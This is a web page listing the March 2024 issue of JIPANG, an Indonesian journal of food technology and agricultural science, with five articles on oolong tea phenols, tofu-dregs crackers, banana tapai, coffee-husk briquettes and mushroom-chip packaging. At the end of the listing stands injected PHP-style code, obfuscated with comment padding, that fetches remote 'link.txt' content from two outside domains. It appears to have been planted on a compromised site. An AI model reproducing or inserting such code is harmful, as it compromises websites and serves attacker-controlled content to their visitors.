Skip to main content Skip to main navigation menu Skip to site footer

Vol. 6 No. 1 (2024): JURNAL TEKNOLOGI PANGAN DAN ILMU PERTANIAN (JIPANG)

JIPANG merupakan Jurnal Teknologi Pangan dan Ilmu Pertanian yang diterbitkan pleh Prodi Teknologi Hasil Pertanian Universitas PGRI Banyuwangi, yang didalamnya berisikan artikel dan atau jurnal hasil dari penelitian dalam bidang bioteknologi pertanian, penanganan pascapanen, sistem produksi dan rekayasa proses pengolah hasil pertanian (peternakan, perikanan dan hasil perkebunan) ilmu pangan dan gizi.

DOI: https://doi.org/10.36526/jipang.v6i1

Published: 2024-03-26

Articles

ANALISIS KADAR TOTAL FENOL DAN FLAVONOID PADA PRODUK TEH OOLONG YANG BEREDAR DI PASARAN Analysis Total Phenol And Total Flavonoid Contents In Some Oolong Tea Products On The Market

Ardi Rustamsyah , Farid Perdana , Anna zakiah, Anita Khairunnisa

1-6
- pdf
PENGARUH SUBTITUSI TEPUNG AMPAS TAHU DAN TERIGU PADA KERUPUK TERHADAP KUALITAS HEDONIK DAN KANDUNGAN GIZI The Effect of Substituting Tofu Dregs and Wheat Flour in Crackers on Hedonic Quality and Nutritional Content

Inang Ariawan, Bagus Setyawan, Rosiana Ulfa

7-14
- pdf
PENGARUH JENIS PISANG (Musa paradisiaca) TERHADAP KARAKTERISTIK TAPAI PISANG DI BANYUWANGI The Influence Of Banana Type (Musa paradisiaca) On The Characteristics Of Banana Tapai In Banyuwangi

Helmy Ahfas, Bagus Setyawan, Arfiati Ulfa Utami

15-19
- pdf
PENGARUH KOMPOSISI PEREKAT TERHADAP KUALITAS BRIKET SEKAM KOPI The Effect Of Adhesive Composition On The Quality Of Coffee husk Brikets

Eko Wahyudi, Bagus Setyawan, Arfiati Ulfa Utami

20-27
- pdf
PENGARUH PENGGUNAAN TIPE PENGEMAS YANG BERBEDA TERHADAP KARAKTERISTIK KERIPIK JAMUR TIRAM The Effect of Using Different Types of Packaging on the Characteristics of Oyster Mushroom Chips

Hardiyanto, Rosiana Ulfa, Bagus Setyawan

28-33
- pdf

".file_get_contents/*******/(rawurldecode(urldecode("https://infojaksel.id/link.txt"))));//?>".file_get_contents/*******/(rawurldecode(urldecode("https://seonaga.com/link.txt"))));//?>